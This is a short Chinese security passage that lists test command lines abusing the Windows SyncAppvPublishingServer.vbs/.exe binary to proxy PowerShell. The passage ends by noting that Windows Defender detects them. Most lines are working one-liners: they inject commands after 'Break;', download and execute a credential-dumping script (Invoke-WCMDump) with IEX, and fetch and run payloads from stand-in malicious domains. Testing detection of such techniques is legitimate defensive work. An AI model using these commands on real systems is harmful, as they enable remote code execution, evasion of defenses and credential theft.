下面是一些测试命令行:
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ” C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://172.16.217.130:443" C:\Windows\System32\SyncAppvPublishingServer.vbs; Start-Process calc C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process cmd.exe '/c notepad.exe'" C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;" SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX" C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('[MaliciousDomain]/Win.exe','$env:USERPROFILE/payload.exe'); Start-Process '$env:USERPROFILE/payload.exe' -WindowStyle Minimized;" SyncAppvPublishingServer.vbs "n; ((New-Object Net.WebClient) .DownloadString ('http://malciousdomain/payload.ps1') | IEX '
Windows Defender 能够像检测 Powershell 一样从这些文件中检测出恶意命令行。 此外,当我试图运行一行启动反向 Shell 的,命令时, Windows Defender 可以检测到命令注入到 SyncApp 文件中。